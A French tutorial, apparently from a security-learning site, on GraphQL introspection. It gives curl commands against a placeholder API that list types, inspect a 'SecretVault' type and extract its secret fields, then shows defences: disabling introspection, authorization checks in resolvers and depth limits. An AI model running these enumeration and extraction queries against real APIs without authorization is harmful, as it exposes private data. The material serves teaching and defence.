Aller au contenu

GraphQL : cartographier un schéma par introspection et extraire des données

GraphQL expose une seule route qui répond à des requêtes structurées. Sa force est aussi sa surface d’attaque : le serveur sait décrire son propre schéma via l’introspection. Quand cette fonctionnalité reste active en production, elle livre la carte complète de l’API, y compris des types et des champs qu’aucune interface publique ne montre.

GraphQL réserve des champs méta, préfixés par __, pour interroger le schéma lui-même. __schema et __type permettent de reconstruire l’intégralité des types et de leurs champs sans documentation.

La première requête liste tous les types déclarés :

Fenêtre de terminal
curl -s -X POST "http://api.exemple.fr/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name}}}"}' | jq

La réponse contient les types standard (String, Int, Query…) mêlés aux types applicatifs. Un nom qui dénote, absent de l’interface publique, est un candidat direct à approfondir.

__type renvoie le détail d’un type nommé : ses champs, leur type et leur nature (kind). En ciblant un type repéré à l’étape précédente, on découvre ce qu’il contient :

Fenêtre de terminal
curl -s -X POST "http://api.exemple.fr/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __type(name: \"SecretVault\") { name fields { name type { name kind ofType { name } } } } }"}' | jq

ofType sert à dérouler les types enveloppés, une liste (LIST) ou un champ non nul (NON_NULL), pour remonter jusqu’au type réel du champ.

Toutes les requêtes partent du type racine Query. Lister ses champs révèle les points d’entrée réellement exposés à la racine :

Fenêtre de terminal
curl -s -X POST "http://api.exemple.fr/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __type(name: \"Query\") { fields { name type { name kind } } } }"}' | jq

Cette requête liste tous les points d’entrée disponibles à la racine. On repère celui dont le type de retour pointe vers le type intéressant, ici SecretVault. Il ne reste plus qu’à utiliser son nom exact pour formuler la requête finale.

Une fois le point d’entrée et les champs connus, la requête finale sélectionne exactement les champs voulus :

Fenêtre de terminal
curl -s -X POST "http://api.exemple.fr/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ secretVault { secret_id secret_value } }"}' | jq

GraphQL retourne précisément les champs demandés. La donnée qui n’apparaissait dans aucune interface est extraite dès lors que le schéma la déclare et qu’aucun contrôle d’accès ne la protège.

Le même échange en HTTP direct, utile pour rejouer dans un proxy comme Burp :

POST /graphql HTTP/1.1
Host: api.exemple.fr
Content-Type: application/json
Accept: application/json
{"query":"{__schema{types{name}}}"}

L’introspection est utile en développement, dangereuse en production. La plupart des serveurs permettent de la couper.

// Apollo Server : désactiver introspection hors développement
const server = new ApolloServer({
schema,
introspection: process.env.NODE_ENV === 'development',
});

Couper l’introspection ne suffit pas seul : un attaquant peut deviner des noms de champs par force brute. C’est une mesure de réduction de surface, pas une protection d’accès.

Chaque champ sensible doit vérifier l’autorisation dans son résolveur, indépendamment de l’introspection. Un champ ne doit jamais retourner de donnée sur la seule base de sa présence dans le schéma.

const resolvers = {
Query: {
secretVault: (parent, args, context) => {
if (!context.user || !context.user.canReadSecrets) {
throw new Error('Non autorisé');
}
return getSecretVault();
},
},
};

GraphQL autorise des requêtes imbriquées arbitrairement profondes, ce qui ouvre un vecteur de déni de service. Une limite de profondeur et un budget de complexité bornent la charge.

// graphql-depth-limit, borne la profondeur d'imbrication
validationRules: [depthLimit(7)]

L’introspection GraphQL transforme une API en plan détaillé : __schema liste les types, __type en décrit les champs, et le type Query révèle les points d’entrée racine. Il suffit alors de nommer les bons champs pour extraire la donnée que le schéma déclare. La défense tient en deux temps : réduire la surface en désactivant l’introspection en production, et surtout contrôler l’accès dans chaque résolveur, car un schéma masqué n’est pas un schéma protégé.